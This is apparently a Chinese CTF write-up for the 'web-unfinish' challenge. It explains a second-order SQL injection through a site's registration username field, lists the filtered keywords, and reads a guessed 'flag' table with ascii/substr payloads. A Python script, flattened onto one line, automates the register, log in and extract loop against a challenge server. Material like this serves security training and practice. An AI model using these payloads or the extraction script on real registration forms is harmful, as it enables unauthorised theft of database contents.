当前位置: 首页 > news >正文

[CTF]攻防世界:web-unfinish(sql二次注入)

题目:web-unfinish(sql二次注入)

二次注入

打开页面是一个登录页面


步骤

  1. 扫描一下目录:


有登录有注册


  1. 先测试登录是否存在sql,测试了一下发现似乎不存在。

  1. 继续测试注册,先正常注册一个用户,登录看看。

    登录成功,能看到用户名。

  1. 试试再注册的时候,给用户名位置写上注入测试:0’+1+'0,登录后发现用户名变为1.

使用Burp Suite Fuzz 了一下,当用户名中有 information 或 , 时,会提示 nonono!!!


  1. 只能猜表名为flag.
    通过payload依次读取flag值:0'+ascii(substr(select * from flag) from 1 for 1)+'0

  1. 写个脚本,自动读出flag。

流程为:注册-》登录-》获取用户名值(ascii)

importrequestsimportreimporttime url="http://61.147.171.105:54224/"MAX_RETRIES_PER_POS=5# 重试 defget_flag():flag=""i=1# 从位置1开始whilei<50:email=f"user{i}@qq.com"username_payload=f"0'+ascii(SUBSTR((select * from flag) FROM {i} FOR 1))+'0"password="123"retry_count=0success=Falsewhileretry_count<=MAX_RETRIES_PER_POS:ifretry_count>0:print(f"[!] 尝试位置 {i} (尝试 {retry_count + 1})...")time.sleep(2)# 稍等再试try:print(f"[+] 尝试位置 {i}: {username_payload}")# 注册 r_reg=requests.post(url+"register.php",data={'email':email,'username':username_payload,'password':password},allow_redirects=False,timeout=10)ifr_reg.status_code!=302:# 可能是 SQL 错误或 flag 已结束(非网络问题)print(f"[-] 注册失败 {r_reg.status_code} 再位置 {i}. 结束.")success=True # 视为“正常结束”,跳出break# 登录 r_login=requests.post(url+"login.php",data={'email':email,'password':password},timeout=10)# 提取 ASCII match=re.search(r'<span class="user-name">\s*(\d+)\s*</span>',r_login.text)ifmatch:ascii_val=int(match.group(1))ifascii_val==0:print("[*] 结尾 (ASCII 0).")success=Truebreakchar=chr(ascii_val)flag+=charprint(f"[+] 位置 {i}: ASCII={ascii_val} => '{char}' | Flag : {flag}")success=Truebreakelse:print(f"[-] 找不到flag {i} :\n{r_login.text[:200]}")success=True # 无法提取,视为结束breakexcept(requests.exceptions.Timeout,requests.exceptions.ConnectionError)ase:retry_count+=1print(f"[-] 网络问题 position {i} (attempt {retry_count}): {e}")ifretry_count>MAX_RETRIES_PER_POS:print(f"[!] 超过最大重试 position {i}. 退出.")print("\n[!] flag (部分):",flag)returncontinue# 重试当前 i except Exceptionase:print(f"[-] 异常 position {i}: {e}")success=True # 非网络异常,不重试breakifnot success:print(f"[!] 错误 position {i} .")breakifsuccess and(r_reg.status_code!=302or(locals().get('match')andint(locals().get('match').group(1))==0)or notlocals().get('match')):breaki+=1# 成功获取一位,继续下一位 time.sleep(3)print("\n[!] flag:",flag)if__name__=='__main__':get_flag()


有疑问可留言解答…

http://www.jsqmd.com/news/82957/

相关文章:

  • 26、XForms与XULRunner应用开发及部署全解析
  • 2025有名的公考集训营TOP5权威推荐:甄选公考集训品牌机 - mypinpai
  • 掌握Python循环优化的5个关键策略
  • Comsol 中双温模型下脉冲移动激光与耦合应力场的二维三维探索
  • 61、【Ubuntu】【Gitlab】拉出内网 Web 服务:Gitlab 配置审视(五)
  • 观察者模式,发布/订阅模式,与回调函数
  • 软件行业全产业链全景深度研究报告
  • stm32编码总结
  • 0基础成功转行网络安全工程师,年薪25W+,经验总结都在这(建议收藏)_0基础转行网络安全
  • 江苏国创的地沟油硫氯氮分析仪性价比高吗 - 品牌推荐大师
  • 武汉成人本科怎么考?三大核心维度筛选正规机构,湖北中教教育科技集团周老师为你避坑 - 速递信息
  • 三种安装Jupyter Notebook的方法
  • 选型必读:云手机哪个品牌好?2025年五大云手机服务商全方位对比评测 - 速递信息
  • 技术变现新思路:漏洞挖掘私活接单经验分享
  • 完整教程:头歌答案--爬虫实战
  • 黑客大神都会玩这 10 个 Linux 命令,我不允许你还不知道!
  • 2025年普刊发表服务公司排名:南京评职称/兰州评职称发表普 - 工业品牌热点
  • 基于SpringBoot的人力资源管理系统(毕业设计项目源码+文档)
  • 断言那些事儿:单测只需要一个断言?
  • 2025年交通事故认定专业律所推荐:帮你厘清责任划分,维护合 - myqiye
  • Codex 相较其他模型的核心优势(含 Polocode 集成场景) - poloai
  • 基于SpringBoot+Vue的高校志愿活动管理系统的设计与实现(毕业设计项目源码+文档)
  • 轻量级AI模型高并发应用实战:5大核心技巧深度解析
  • 国内geo优化服务商深度测评:服务能力、性价比与客户口碑对比 - 品牌推荐官优选
  • 掌握波利亚解题法:提升问题解决能力的终极指南
  • 年末定制衣柜哪个好?分析好莱客:环保、品质与未来三大硬核 - 速递信息
  • 小米的奇幻编程之旅:当 JavaScript 语法变成了一座魔法城
  • 从ToDetect看浏览器指纹检测平台的优劣与选择技巧
  • LFM2-8B-A1B:边缘AI新标杆,8.3B参数MoE模型重塑移动终端智能体验
  • 基于springboot+vue的社区资源共享系统设计与实现(毕业设计项目源码+文档)